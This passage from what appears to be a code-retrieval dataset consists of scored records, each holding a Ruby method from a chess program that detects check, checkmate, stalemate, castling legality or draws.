@board.legal_move(piece,@board.state)[king.position.x-1][king.position.y-1]\n\t\t\t\tthreatening_pieces << piece\n\t\t\tend\n\t\t}\n\t\tif threatening_pieces.length == 0\n\t\t\treturn false\n\t\t#Single check: Any other piece can move/capture\n\t\telsif threatening_pieces.length == 1\n\t\t\tthreatening_piece = threatening_pieces.pop\n\t\t\tpos = threatening_piece.position\n\t\t\tdefending_pieces = []\n\t\t\t@current_player.pieces.each {|piece|\n\t\t\tif @board.legal_move(piece,@board.state)[pos.x-1][pos.y-1]\n\t\t\t\tdefending_pieces << piece\n\t\t\tend\n\t\t\t}\n\t\t\t# defending_pieces.each {|piece|\n\t\t\t# \tputs \"#{piece.name}. #{piece.position.x},#{piece.position.y}\"\n\t\t\t# }\n\t\t\t#loop over defending pieces and check if there is one that can remove the threatening piece\n\t\t\t#without leaving the king in check.\n\t\t\tnot_savable = true\n\t\t\twhile not_savable && !defending_pieces.empty?\n\t\t\t\tpiece = defending_pieces.pop\n\t\t\t\thypothetical_state = Marshal.load(Marshal.dump(@board.state))\n\t\t\t\tbegin\n\t\t\t\t\t#if this move leaves the king in check, an error is thrown.\n\t\t\t\t\t# puts \"#{threatening_piece.name}. #{threatening_piece.position.x},#{threatening_piece.position.y}\"\n\t\t\t\t\t@board.move_piece(hypothetical_state,piece.position,threatening_piece.position)\n\t\t\t\t\t#if not, the king can be saved.\n\t\t\t\t return false\n\t\t\t\trescue\n\t\t\t\tend\n\t\t\tend\n\t\t\treturn not_savable\n\t\t#Double check (>1): Only king can move/capture\n\t\telse\n\t\t\tking = @current_player.pieces.select{|piece| piece.name == :king}\n\t\t\tthreatening_pieces.each{|threat|\n\t\t\t\thypothetical_state = Marshal.load(Marshal.dump(@board.state))\n\t\t\t\tif legal_move(king)[threat.position.x-1][threat.position.y-1]\n\t\t\t\t\tbegin\n\t\t\t\t\t\t#if this move leaves the king in check, an error is thrown.\n\t\t\t\t\t\t@board.move_piece(hypothetical_state,king.position,threat.position)\n\t\t\t\t\t\t#if not, the king can be saved.\n\t\t\t\t\t\treturn false\n\t\t\t\t\trescue\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t}\n\t\t\treturn true\n\t\tend\n\tend", "title": "" }, { "docid": "911c1b59413d07d776f3ca3b1468823c", "score": "0.71607834", "text": "def king_check? (king,list_of_tiles)\n\t\tif king.instance_of?(String)\n\t\t\tking_tile= king\n\t\telse\n\t\t\tking_tile = king.getTile.to_s\n\t\tend\n\t\ttemp = list_of_tiles[king_tile]\n\t\tif temp == nil\n\t\t\treturn false\n\t\telse\n\t\t\traise \"#{king} is under attack by #{temp}\"\n\t\tend\n\n\tend", "title": "" }, { "docid": "ca7b5fe824e69e31c1e587b3939bfb42", "score": "0.7135986", "text": "def castling?(i, k ,j)\n piece = @@board[y][x+i]\n space_counter = 0\n # Check if the king has been moved or if it's in check\n if @moved || piece.class != Rook || piece.moved || \n enemy_capture_moves.include?(@position)\n return false\n end\n x = @x + k\n j.times do\n # Check if the spaces will get the king in check\n return false if enemy_possible_check_moves.include?([x,y])\n space_counter += 1 if @@board[y][x] == \" \"\n x = x + k\n end\n if space_counter == j\n true\n else\n false\n end\n end", "title": "" }, { "docid": "788994e4a4c132bc079aafd63f4b3e0f", "score": "0.7116656", "text": "def checkmate_check(king_color)\n king_square = find_king(king_color)\n global_under_attack_check\n if check_check == true # make a king can/t move method here]\n puts \"#{king_color.capitalize} king is under check\"\n\n king_attacker = global_under_attack_check #find attacker\n king_attacker_coordinates = king_attacker.position.coordinates\n king_moves = generate_moves(king_square.coordinates)\n attacker_path = []\n\n #check if there are pieces that can take the pawn/knight, #if none its a checkmate\n #or just print out available moves unde rcheck and check that if empty >checkmate\n if king_attacker.class.name == \"Board::Knight\" || king_attacker.class.name == \"Board::Pawn\"\n attacker_path << king_attacker_coordinates\n #has to be taken #IF KING CANT MOVE\n if king_moves.empty?\n counter_attacks = available_moves_under_check(attacker_path, king_color)\n if counter_attacks.empty?\n return true\n else\n puts \"Your available moves are:\"\n puts print counter_attacks.map {|move| translate_move(move)}.join(\" \")\n #also limit the next move to these somehow\n end\n end\n else\n attacker_path = find_attacker_path(king_square, king_attacker)\n puts print king_moves\n if king_moves.empty?\n counter_attacks = available_moves_under_check(attacker_path, king_color)\n if counter_attacks.empty? #there was a && king here, what did it mean???\n return true\n else\n puts \"Your available moves are:\"\n puts print counter_attacks.map {|move| translate_move(move)}.join(\" \")\n end\n end\n end\n end\n end", "title": "" }, { "docid": "612d6bf5c81d4207f8ef55c1b659d45c", "score": "0.710493", "text": "def exposes_king_to_check?\n board.move_piece! :from => origin, :to => destination\n\n @destination = board.king_position(piece.color)\n enemy_color = if piece.color == :black then :white else :black end\n\n board.positions_of_pieces(enemy_color) do |coords|\n @origin = coords; @piece = board.piece_at(coords)\n return true if valid_move_given_piece and open_path_to_destination\n end\n\n false\n end", "title": "" }, { "docid": "a7c56514d629155e1f79f49f41bfc53e", "score": "0.70909506", "text": "def check_check\n white_pieces, black_pieces = board_pieces_by_color\n # If black king is in check\n white_pieces.each do |piece|\n return piece if legal_moves(piece).include? @king_locs[:black]\n end\n # If white king is in check\n black_pieces.each do |piece|\n return piece if legal_moves(piece).include? @king_locs[:white]\n end\n\n nil\n end", "title": "" }, { "docid": "0b5dbd13c6a86d13881d2c49ff541e39", "score": "0.7088327", "text": "def check?(board)\n hash_cells = cells_to_king(board)\n cells = hash_cells[:moves]\n check = false\n piece_in_cells = cells.find_all{|x| board[x] != \" \"}\n piece_in_cells.each do |cell|\n moves = free_moves(cell,board)\n if moves.include?(hash_cells[:king_cell]) && !same_color?(cell,hash_cells[:king_cell],board)\n check = true \n end\n end\n return check\n end", "title": "" }, { "docid": "4fcbe28a5fac0b9edc5072abad663e6f", "score": "0.70848733", "text": "def castling?(king)\n if king.color == \"white\"\n return false if king.game_moves.length != 1\n king_index = get_rank_and_file(king.location)\n if @gamepieces[king.color][\"rook\"][0].location == \"a1\"\n return false if simulate_west_movement(0, 4, king_index, king) == false\n return false if safe_castle?(\"queenside\", king.color) == false\n return true if safe_castle?(\"queenside\", king.color)\n elsif @gamepieces[king.color][\"rook\"][1].location == \"h1\"\n return false if simulate_east_movement(0, 3, king_index, king) == false\n return false if safe_castle?(\"kingside\", king.color) == false\n return true if safe_castle?(\"kingside\", king.color)\n else\n return false\n end\n elsif king.color == \"black\"\n return false if king.game_moves != 1\n king_index = get_rank_and_file(king.location)\n if @gamepieces[king.color][\"rook\"][0].location == \"a8\"\n return false if simulate_west_movement(0, 4, king_index, king) == false\n return false if safe_castle?(\"queenside\", king.color) == false\n return true if safe_castle?(\"queenside\", king.color)\n elsif @gamepieces[king.color][\"rook\"][1].location == \"h8\"\n return false if simulate_east_movement(0, 3, king_index, king) == false\n return false if safe_castle?(\"kingside\", king.color) == false\n return true if safe_castle?(\"kingside\", king.color)\n else\n return false\n end\n else\n return false\n end\n end", "title": "" }, { "docid": "2b27f7ffdcef76b575bed996b1d10672", "score": "0.7070615", "text": "def safe_from_threats?(king)\n king_square = @squares[king.position[0]][king.position[1]]\n return true if king_square.enemy_threats.empty?\n king.moves.all? do |position|\n square = @squares[position[0]][position[1]]\n next unless square.empty?\n square.threats.any? { |threat| threat.color == king.color }\n end\n king_square.enemy_threats.all? do |threat|\n square = @squares[threat.position[0]][threat.position[1]]\n square.threats.any? { |t| t.color == king.color}\n end\n end", "title": "" }, { "docid": "54b6bdb11cf979895cc6345764ab1a74", "score": "0.7050332", "text": "def king_in_check_after? (input, board)\n return false if @selected.piece == 'king'\n\n possible_pieces = ['rook','queen','bishop']\n clone = board\n check_board = []\n 8.times {check_board.push(Array.new(8,nil))}\n row,column = @selected.position[0], @selected.position[1]\n\n move_piece(input, clone, row, column)\n\n clone.each_index do |row|\n clone[row].each do |tile|\n if !tile.nil? && tile.color == @selected.opposite_color &&\n possible_pieces.include?(tile.piece)\n\n tile.get_next(clone)\n tile.next_moves[:regular].each do |move|\n check_board[move[0]][move[1]] = 'x'\n end\n end\n end\n end\n\n king_position = find_king(board)\n check_board[king_position[0]][king_position[1]].nil? ? false : true\n end", "title": "" }, { "docid": "56272fb75d4d817672cecbafdb441b47", "score": "0.70347005", "text": "def is_knight?\n end", "title": "" }, { "docid": "aef15b4f43e906aae861827e2947d604", "score": "0.702692", "text": "def player_in_check?(is_black)\n # Grabs active players king\n king = self.pieces.find_by(type: 'King', is_black: is_black)\n\n # Grab all opponent pieces\n opponent_pieces = self.pieces.active.where(is_black: !is_black)\n\n # Loop through each piece and check to see if they can make a\n # valid move to the active players king (aka check)\n opponent_pieces.each do |piece|\n if piece.valid_move?(king.row, king.column)\n return true\n end\n end\n\n # Return false if no opponent piece can move to active players\n # king\n return false\n end", "title": "" }, { "docid": "334c7dca71b18e283247718be3a9577e", "score": "0.70106363", "text": "def check_bait_for_king (tile, row, column, move, board)\n king_move = [[1,1],[-1,1],[1,-1],[-1,-1],\n [1,0],[0,1],[-1,0],[0,-1]]\n k_row, k_column = tile.position[0], tile.position[1]\n\n king_move.each do |k_move|\n if (k_row+k_move[0]).between?(0,7) && (k_column+k_move[1]).between?(0,7)\n return true if [k_row+k_move[0],k_column+k_move[1]] == [row+move[0], column+move[1]]\n end\n end\n return false\n end", "title": "" }, { "docid": "3a3a10f092db606760f06882f1728818", "score": "0.700368", "text": "def pawn_check(king)\n x = king.x\n y = king.y\n condition = 'nope'\n\n if king.color == 'white'\n moves = [[x + 1, y + 1], [x - 1, y + 1]]\n moves.select! { |move| move[0] < 9 && move[1] < 9 }\n moves.select! { |move| move[0] > 0 && move[1] > 0 }\n until condition == 'check' || moves.empty?\n move = moves.shift\n x = move[0]\n y = move[1]\n if detect_piece(x, y) == 'pawn' && detect_color(x, y) == 'black'\n condition = 'check'\n assign_threat(detect_square(x, y))\n end\n end\n\n elsif king.color == 'black'\n moves = [[x + 1, y - 1], [x - 1, y - 1]]\n moves.select! { |move| move[0] < 9 && move[1] < 9 }\n moves.select! { |move| move[0] > 0 && move[1] > 0 }\n until condition == 'check' || moves.empty?\n move = moves.shift\n x = move[0]\n y = move[1]\n if detect_piece(x, y) == 'pawn' && detect_color(x, y) == 'white'\n condition = 'check'\n assign_threat(detect_square(x, y))\n end\n end\n end\n condition\n end", "title": "" }, { "docid": "24310aa63c1f45b669cdda3c809428e7", "score": "0.69859916", "text": "def check?(player)\n attacked_spaces = list_unsafe_spaces(player).compact\n attacked_spaces.each do |space|\n piece = locate_piece(space)\n return true if piece && piece.owner == player && piece.instance_of?(King)\n end\n false\n end", "title": "" }, { "docid": "e335d247843b9ee174f08b52e2d1afcb", "score": "0.6981149", "text": "def checkmate?(pieces, team)\n\t\tpieces_not_nil = pieces.values.select{ |val| val!=nil }\n\t\tking = pieces_not_nil.select { |val| val.name == \"King\" && val.team == team }[0]\t\n\t\treturn true if king.is_in_checkmate?(pieces)\n\t\tfalse\n\tend", "title": "" }, { "docid": "e335d247843b9ee174f08b52e2d1afcb", "score": "0.6981149", "text": "def checkmate?(pieces, team)\n\t\tpieces_not_nil = pieces.values.select{ |val| val!=nil }\n\t\tking = pieces_not_nil.select { |val| val.name == \"King\" && val.team == team }[0]\t\n\t\treturn true if king.is_in_checkmate?(pieces)\n\t\tfalse\n\tend", "title": "" }, { "docid": "d3b9ec6e5ad4ae662ecddf6adf5b98ef", "score": "0.69805956", "text": "def in_check?(symbol)\n king_pos = find_king(symbol)\n opponents = opponent_pieces(symbol)\n opponents.each do |el|\n return true if el.valid_moves(el.moves, false).include?(king_pos)\n end\n false\n end", "title": "" }, { "docid": "74793c66e1b6dea27d43038c1830b270", "score": "0.69750416", "text": "def check_if_check\n\t\t\tking_position = []\n\t\t\tenemy_position = []\n\t\t\t@in_check = false\t\n\t\t\t# Go through each row in board\n\t\t\t@board.each_with_index do |row, row_index|\n\t\t\t\t# Go through each piece in row\n\t\t\t\trow.each_with_index do |piece, column|\n\t\t\t\t\t# If the piece is the player's king\n\t\t\t\t\tif piece.chess_name == \"king\" && piece.chess_color == @current_player.player_color\n\t\t\t\t\t\t# Store king's position\n\t\t\t\t\t\tking_position = [row_index, column]\n\t\t\t\t\tend\n\t\t\t\t\t# Collect each enemy's position\n\t\t\t\t\tif piece.chess_name != nil && piece.chess_color != @current_player.player_color\n\t\t\t\t\t\tenemy_position << [row_index, column]\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\t\t# Go through each enemy's piece and see if they can move to the king's spot\n\t\t\tenemy_position.each do |enemy|\n\t\t\t\t@in_check = true if validate_move(enemy[0], enemy[1], king_position[0], king_position[1])\n\t\t\tend\n\t\t\t@in_check\n\t\tend", "title": "" }, { "docid": "a180196d6affc3f04065e59ad9f49045", "score": "0.697496", "text": "def check_mate?\n all_legal_moves.length == 0 && in_check?(current_king_coordinate)\n end", "title": "" }, { "docid": "12bb1dd5c7254deba62e7321711e1ca2", "score": "0.697082", "text": "def stalemate?\n all_legal_moves.length == 0 && in_check?(current_king_coordinate) == false\n end", "title": "" }, { "docid": "0ccaf8d2a1c833d18c437eacc03a7687", "score": "0.6958391", "text": "def victory?\n kings = 0\n @gameboard.each_with_index do |column, c|\n column.each_with_index do |cell, index|\n if @gameboard[c][index].class == King\n kings += 1\n end\n end\n end\n return true if kings < 2\n false \n end", "title": "" }, { "docid": "bc02a7f4cb0f71d92280e919c2c24119", "score": "0.6957347", "text": "def checkmate_check(king_color)\n king_square = find_king(king_color)\n global_under_attack_check\n if check_check == true # make a king can/t move method here]\n puts \"#{king_color.capitalize} king is under check\"\n\n king_attacker = global_under_attack_check #find attacker\n king_attacker_coordinates = king_attacker.position.coordinates\n king_moves = generate_moves(king_square.coordinates)\n attacker_path = []\n\n #check if there are pieces that can take the pawn/knight, #if none its a checkmate\n #or just print out available moves unde rcheck and check that if empty >checkmate\n if king_attacker.class.name == \"Board::Knight\" || king_attacker.class.name == \"Board::Pawn\"\n attacker_path << king_attacker_coordinates\n #has to be taken #IF KING CANT MOVE\n if king_moves.empty?\n counter_attacks = available_moves_under_check(attacker_path, king_color)\n if counter_attacks.empty?\n return true\n else\n puts \"Your available moves are:\"\n puts print counter_attacks.map {|move| translate_move(move)}.join(\" \")\n #also limit the next move to these somehow\n end\n end\n else\n attacker_path = find_attacker_path(king_square, king_attacker)\n puts print king_moves\n if king_moves.empty?\n counter_attacks = available_moves_under_check(attacker_path, king_color)\n if counter_attacks.empty? #there was a && king here, what did it mean???\n return true\n else\n puts \"Your available moves are:\"\n puts print counter_attacks.map {|move| translate_move(move)}.join(\" \")\n end\n end\n end\n end\nend", "title": "" }, { "docid": "bdc4213b0e1ef00c96c1310258140fc5", "score": "0.6924335", "text": "def draw?\n status = false\n white, black = get_pieces\n # Both arrays must contain the king. Discard them.\n white.delete('k')\n black.delete('k')\n\n if white.size == 0 # white has only a king\n if black.size == 0 || # black has only a king or a single knight/bishop\n (black.size == 1 && (black.include?('n') || black.include?('b')))\n status = true\n end\n elsif black.size == 0 && # black has only a king\n white.size == 1 && # white has a king and a single knight/bishop\n (white.include?('n') || white.include?('b'))\n status = true\n end\n status\n end", "title": "" }, { "docid": "335de0762d5c93245cec872a8ee1b560", "score": "0.6917033", "text": "def in_checkmate?(color)\n king_pos = get_king_pos(color)\n return false unless in_check?(color, king_pos)\n grid.each do |row|\n row.each do |piece|\n return false unless check_if_avoid_checkmate?(piece, color)\n end\n end\n puts \"You win\"\n true\n end", "title": "" }, { "docid": "755bfec289156f050fadfd69624f4372", "score": "0.6891469", "text": "def kings_too_close?\n king1 = find_king(current_player)\n king2 = find_king(other_player)\n king1.possible_moves.each do |coord|\n next_case = [king1.location[0] + coord[0], king1.location[1] + coord[1]]\n return true if next_case == king2.location\n end\n return false\n end", "title": "" }, { "docid": "bf727700b1883765e83207e3bff0e6ac", "score": "0.68865174", "text": "def taking_piece_but_checked? (row, column, move, board)\n board.each_index do |r|\n board[r].each do |tile|\n\n if !tile.nil? && tile.color == @opposite_color &&\n tile.position != [row+move[0], column+move[1]]\n\n if tile.piece != 'king'\n return true if check_bait(tile,row,column,move,board)\n else\n return true if check_bait_for_king(tile,row,column,move,board)\n end\n\n end\n\n end\n end\n return false\n end", "title": "" }, { "docid": "435bd80f61bbae3b1dd1667adb7c5d82", "score": "0.6885835", "text": "def in_checkmate?( who = @turn )\n\t\tif find { |(s, pc)| pc and pc.color == who and pc.is_a? Chess::King }\n\t\t\tsuper\n\t\telse\n\t\t\ttrue\n\t\tend\n\tend", "title": "" }, { "docid": "f494daee5af538810d28354d9aba8951", "score": "0.68854004", "text": "def in_check?\n game.pieces.where(is_black: !is_black).each do |piece|\n return true if piece.move_valid?(x_position, y_position)\n end\n false\n end", "title": "" }, { "docid": "b5446fedc5a4fb303f63614f6e989a66", "score": "0.6846465", "text": "def in_check?\n k = @kings[@mx]\n 8.times do |i|\n if @squares[k + STEP[i]] == N\n return true if @colors[k + STEP[i]] == @mn\n end\n sq = k + OCTL[i]\n sq += OCTL[i] while @colors[sq] == EMPTY\n next unless @colors[sq] == @mn\n case @squares[sq]\n when Q; return true\n when B; return true if i < 4\n when R; return true if i > 3\n when P; return true if k + DIR[@mx] - 1 == sq || k + DIR[@mx] + 1 == sq\n when K; return true if sq - (k + OCTL[i]) == 0\n else next end\n end\n\n false\n end", "title": "" }, { "docid": "182e1c887b22ad0790104363b87a4c5c", "score": "0.6830458", "text": "def checking_piece\n king = set_alter_king\n get_checking_piece(king) { |x| x == turn }\n end", "title": "" }, { "docid": "9c07c31df96a6d40fa7996ab87109d04", "score": "0.68266654", "text": "def check(king,white = false,king_test=false)\n n = false\n @wks=0\n @bks=0\n \n \tif white\n \t\t\n \t\t@board.blacks.each do |element|\n \t\t element.table=element.ntable\n ind = element.table.find_vertice(element.pos)\n \n \n vertice = element.posible_moves(element.table.vertices[ind],@board.bpos,@board.wpos,false,king_test)\n \n \n if vertice.neighbours.include?(king) \t \n \n \tn = true \n @wks +=1 \n end\n element.table=element.ntable\n \t\tend\n \telse\n\n \t\t@board.whites.each do |element|\n \t\t element.table=element.ntable\n ind = element.table.find_vertice(element.pos)\n \n vertice = element.posible_moves(element.table.vertices[ind],@board.wpos,@board.bpos,true,king_test) \n\n \n if vertice.neighbours.include?(king)\n \n \t n = true\n \t \n \t @bks +=1 \n end\n element.table=element.ntable\n \t\tend\n \tend\n return n\n end", "title": "" }, { "docid": "716e84d2dbbec86d3b904c64c65f0f28", "score": "0.6825592", "text": "def start_castling?(p_moves, board)\n piece = get_piece(p_moves[0], board)\n squares_moved = parse_coord(p_moves[1])[1] - parse_coord(p_moves[0])[1]\n (piece.class == King) && (squares_moved.abs > 1)\n end", "title": "" }, { "docid": "d7987bb9433c13f411c13cd0402b3e2d", "score": "0.68227285", "text": "def in_check?(color)\n opp_pieces = get_pieces.select { |piece| piece.color != color}\n opp_pieces.each do |piece|\n piece.possible_moves.each do |move|\n if self[*move].is_a?(King)\n return true\n end\n end\n end\n false\n end", "title": "" }, { "docid": "6cdf8cbac804e0253cfe39b95e2386cc", "score": "0.68143195", "text": "def check_in_the_way tile\n #Calculating direction from the @checked_king to @checking_piece\n direction_row = @checking_piece.position[0] - @checked_king.position[0]\n direction_row = direction_row/direction_row.abs if direction_row != 0\n direction_column = @checking_piece.position[1] - @checked_king.position[1]\n direction_column = direction_column/direction_column.abs if direction_column != 0\n direction = [direction_row, direction_column]\n\n #Using the calcuated direction to check if any regular move gets in the way\n tile.get_next(@board.board)\n tile.next_moves[:regular].each do |move|\n d = direction\n\n while (move[0]+d[0]).between?(0,7) && (move[1]+d[1]).between?(0,7) do\n checking_tile = @board.board[move[0]+d[0]][move[1]+d[1]]\n\n if checking_tile == @checking_piece\n return true\n end\n\n d[0] += 1 if d[0] > 0\n d[0] -= 1 if d[0] < 0\n d[1] += 1 if d[1] > 0\n d[1] -= 1 if d[1] < 0\n end\n\n end\n\n return false\n end", "title": "" }, { "docid": "b59a6f4446493d882c7705bb39c6717e", "score": "0.6795111", "text": "def in_check?(color)\n # if king is opposite color, return true if king is in danger\n # if white or black, king[pos] == find_king\n king_pos = find_king(color)\n pieces.any? do |piece|\n piece.color != color && piece.moves.include?(king_pos)\n end\n end", "title": "" }, { "docid": "e94b57c4c5b53420ade07bf735e4a9d6", "score": "0.6794224", "text": "def output_if_checked\n if @board.check?(@turn.color, @board.find_king(@turn.color).location)\n puts \"Your king is in check.\"\n end\n end", "title": "" }, { "docid": "71097701500149d687564b24ca628167", "score": "0.6794214", "text": "def checkmate?(gamepiece)\n if check?(gamepiece)\n enemy_color = gamepiece.color == \"white\" ? \"black\" : \"white\"\n enemy_king = @gamepieces[enemy_color][\"king\"][0]\n enemy_king_index = get_rank_and_file(enemy_king.location)\n enemy_king_moves = gamepiece_moves(enemy_king, enemy_king_index)\n gamepiece_index = get_rank_and_file(gamepiece.location)\n \n if enemy_king_moves.empty? #If the king has no moves, he cannot move, is still in check.\n #Must have a enemy move that can take out the piece that gives check,\n enemy_moves = enemy_moves(enemy_color)\n if enemy_moves.include?(gamepiece_index)\n return false\n end\n\n #Or cannot put a piece between the checking piece and the king, he is in checkmate. Only cases if the gamepiece is a Bishop, Queen or Rook\n if gamepiece.name == \"B\" || gamepiece.name == \"Q\" || gamepiece.name == \"R\"\n gamepiece_next_moves = gamepiece_moves(gamepiece, gamepiece_index)\n gamepiece_next_moves.each do |move|\n if enemy_moves.include?(move)\n return false\n end\n end\n end\n else\n \n enemy_king_moves.each do |move|\n if safe_location?(move, enemy_color)\n return false\n end\n end\n\n end\n #No way to get enemy king out of check.\n #Return true, enemy king is in checkmate.\n return true\n \n else\n return false\n end\n end", "title": "" }, { "docid": "7d7a1edf016ee9ec51cb78ab9a103eed", "score": "0.67937124", "text": "def pieces_can_move?(king, threat)\n own_pieces = self.board.values.select do |piece|\n piece.team == king.team\n end\n\n if king && threat\n path = self.board.get_path(king.location, threat.location)\n else\n path = \"a1\".upto(\"h8\").select { |el| not \"09\".include?(el[1]) }\n end\n\n own_pieces.each do |piece|\n path.each do |spot|\n begin\n # Can't block a knight\n next if threat.is_a?(Knight) && spot != threat_loc\n\n fake_board = self.board.deep_dup\n fake_piece = piece.deep_dup\n fake_board.pathing_checks(fake_piece, spot)\n\n fake_board.update(spot, fake_piece.location)\n next unless fake_board.threats(king.team).empty?\n return true\n rescue ChessError => e\n next\n end\n end\n end\n false\n end", "title": "" }, { "docid": "a63e1e924dd5e28ecbf4598812e0ab6a", "score": "0.67679906", "text": "def checkmate?(is_white)\n return false unless check?(is_white)\n # return false if the piece attacking the king is also under attack / can be captured.\n return false if under_attack?(attacking_piece(is_white).is_white, attacking_piece(is_white).x_position, attacking_piece(is_white).y_position)\n # currently only the method can_move_out_of_check? is not working correctly.\n return false if friendly_king(is_white).can_move_out_of_check?\n return false if attacking_piece(is_white).can_be_blocked?(friendly_king(is_white).x_position, friendly_king(is_white).y_position)\n update!(player_win: user_black_id, player_lose: user_white_id) if is_white == true\n update!(player_win: user_white_id, player_lose: user_black_id) if is_white == false\n true\n end", "title": "" }, { "docid": "ab54612a7ff259eea95cc1a1c03fd6e4", "score": "0.67531073", "text": "def demo_checkmate?\n checkmate = false\n can_escape = false\n can_block = false\n can_capture_threat = false\n escape_moves = @opponent_king.possible_moves\n if color == \"white\"\n opponent_possible_moves = black_pieces_moves\n friendly_possible_moves = white_pieces_moves\n else\n opponent_possible_moves = white_pieces_moves\n friendly_possible_moves = black_pieces_moves\n end\n # Determine if king in check can escape\n escape_moves.each do |move|\n can_escape = true if !friendly_possible_moves.include?(move)\n end\n # Determine if threating piece can be captured by opposing player. Can only be true if a singular piece has opposing king in check. \n can_capture_threat = true if opponent_possible_moves.include?([@x1, @y1]) && @threatening_pieces.length == 1\n # Code to determine if opponent can\n # block threatening piece(s) goes here\n\n checkmate = true if !can_escape && !can_block && !can_capture_threat\n return checkmate\n end", "title": "" }, { "docid": "8cccd27fa0a8425089a9b5d38f879553", "score": "0.67369884", "text": "def trueshot_check?\n if cannonmastery<3\n return true\n end\n end", "title": "" }, { "docid": "80d6cfb80dd03500ad24478ea00c27aa", "score": "0.6731516", "text": "def check?(color)\r\n\t\t\t# return true if king is checked\r\n\t\t\t# King info: \r\n\t\t\tking_object = (grid.flatten.select { |cell| cell.piece == \"K\" && cell.color == color }).first\r\n\t\t\tx_king = grid.index { |e| e.include?(king_object) }\r\n\t\t\ty_king = grid[x_king].index { |e| e == king_object }\r\n\t\t\tking_coordinate = [x_king, y_king]\r\n\t\t\t# Create a list of enemy unit cell objects\r\n\t\t\tenemy_objects = (grid.flatten.select { |cell| cell.color != color && cell.color != nil })\r\n\t\t\t# Create a list of enemy unit cell object's coordinates\r\n\t\t\tenemy_coordinates = []\r\n\t\t\tenemy_objects.each do |cell_object|\r\n\t\t\t\tenemy_coordinates << get_coordinates(cell_object)\r\n\t\t\tend\r\n\t\t\tenemies_possible_moves = []\r\n\t\t\t# Select moves that are not included in enemy's possible moves. \r\n\t\t\tenemy_coordinates.each do |coordinates|\r\n\t\t\t\tenemy_piece = grid[coordinates.first][coordinates.last].piece\r\n\t\t\t\tenemy_color = grid[coordinates.first][coordinates.last].color\r\n\t\t\t\tenemies_possible_moves << possible_moves(enemy_piece, coordinates, enemy_color)\r\n\t\t\tend\r\n\t\t\tenemies_possible_moves.delete([])\r\n\t\t\tenemies_possible_moves.flatten!(1)\r\n\t\t\treturn true if enemies_possible_moves.include?(king_coordinate)\r\n\t\t\tfalse\r\n\t\tend", "title": "" }, { "docid": "0b1838011498041075a5152221c8b2bd", "score": "0.673142", "text": "def checkmated?(team)\n defending_pieces = case(team)\n when(:white)\n white_pieces\n when(:black)\n black_pieces\n end\n\n # go through all possible moves of all pieces of the defending team\n # puts defending_pieces.length\n defending_pieces.each do |piece, square_algeb|\n # puts \"#{piece}: #{square_algeb}\"\n # p piece_moves(square_algeb)\n piece_moves(square_algeb).each do |move|\n test_board = Marshal.load(Marshal.dump(self))\n # if moving the piece were to result in a not check scenario,\n # return false as the defending team is *not* checkmated\n test_board.move_piece(square_algeb, move)\n unless(test_board.in_check?(team))\n return false\n end\n end\n end\n\n return true\n end", "title": "" }, { "docid": "bdde6078dfc12807bb9c0d01bb1cb5d9", "score": "0.6730957", "text": "def stalemate?\n pieces = find_pieces(current_player.color)\n if pieces.size == 1\n unless king_can_move?(pieces[0])\n puts \"Slatemate!\"\n return true \n end\n end\n return false\n end", "title": "" }, { "docid": "f1ea4eb7ff60ecb8ceaf6f4f687e874a", "score": "0.67284447", "text": "def check?\n raise RuntimeError \"Invalid Position\" if !valid?\n\n t = turn().upcase\n not_t = t == 'W' ? 'B' : 'W'\n king_vector = Vector[*(squares_with([t + 'K'])[0])]\n\n # check pawn squares\n pawn_vectors = t == 'W' ? [[-1, -1], [1, -1]] : [[-1, 1], [1, 1]]\n pawn_vectors.each do |s|\n s = (king_vector + Vector[*s]).to_a\n next if !self.class.valid_square?(s)\n return true if piece_on(s).desc == (not_t + 'P')\n end\n\n # check knight squares\n knight_vectors = [[1,2], [-1,2], [1,-2], [-1,-2], [2,1], [-2,1], [2,-1],\n [-2,-1]]\n knight_vectors.each do |s|\n s = (king_vector + Vector[*s]).to_a\n next if !self.class.valid_square?(s)\n return true if piece_on(s).desc == (not_t + 'N')\n end\n\n # check bishop/queen squares\n diagonal_vectors = [[1, 1], [-1, 1], [1, -1], [-1, -1]]\n diagonal_vectors.each do |v|\n dist = 1\n v = Vector[*v]\n while dist < 8\n current_vector = v * dist\n current_square = (king_vector + current_vector).to_a\n\n break if !self.class.valid_square?(current_square)\n\n p = piece_on(current_square).desc\n return true if p == (not_t + 'B') || p == (not_t + 'Q')\n break if p != 'E'\n\n dist += 1\n end\n end\n\n # check rook/queen squares\n straight_vectors = [[1, 0], [0, 1], [-1, 0], [0, -1]]\n straight_vectors.each do |v|\n dist = 1\n v = Vector[*v]\n while dist < 8\n current_vector = v * dist\n current_square = (king_vector + current_vector).to_a\n\n break if !self.class.valid_square?(current_square)\n\n p = piece_on(current_square).desc\n return true if p == (not_t + 'B') || p == (not_t + 'Q')\n break if p != 'E'\n\n dist += 1\n end\n end\n\n return false\n end", "title": "" }, { "docid": "a03f99f50ddfde0845e91a9f1da8b235", "score": "0.6722001", "text": "def in_check?(color)\n king_pos = pieces(color, King).first.pos #\n opposing = pieces(Piece.opponent(color))\n opposing.each do |piece|\n return true if piece.moves.include?(king_pos)\n end\n\n false\n end", "title": "" }, { "docid": "e3ca8dc5ddc55b00ae7d89db0bcc4b74", "score": "0.6721892", "text": "def calculate_pawn_check(square, king, new_board, checkmate = nil)\n piece = square.current_piece\n piece.allocate_moves\n piece.move_from = square.position\n return piece.can_pawn_take(new_board) if checkmate == 1\n\n piece.moves.delete_at(3)\n piece.moves.delete_at(0)\n piece.calculate_positions_check(square)\n return true if piece.potential_moves.include?(king.position)\n end", "title": "" }, { "docid": "13bb2900a1df5248a0cc70505185b60c", "score": "0.6712497", "text": "def isCheck?(color)\n\t\t# for each opponent piece on the board, if the piece could movePossible? to the king then\n\t\t# it would be considered check\n\t\t\n\t\t# get a handle to the king, get his position.\n\t\t# ok, now I can see how crappy it is to have to search the board for pieces...\n\t\tcheck = false\t\t\n\t\t\n\t\tthe_king = nil\n\t\tking_row = nil\n\t\tking_col = nil\n\t\t0.upto(7) do |r|\n\t\t\t0.upto(7) do |c|\n\t\t\t\tif @chessboard.grid[r][c].class.to_s == \"King\" and @chessboard.grid[r][c].color == color then\n\t\t\t\t\tthe_king = @chessboard.grid[r][c]\n\t\t\t\t\tking_row = r\n\t\t\t\t\tking_col = c\n\t\t\t\t\tbreak\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\t\n\t\t0.upto(7) do |r|\n\t\t\t0.upto(7) do |c|\n\t\t\t\tif 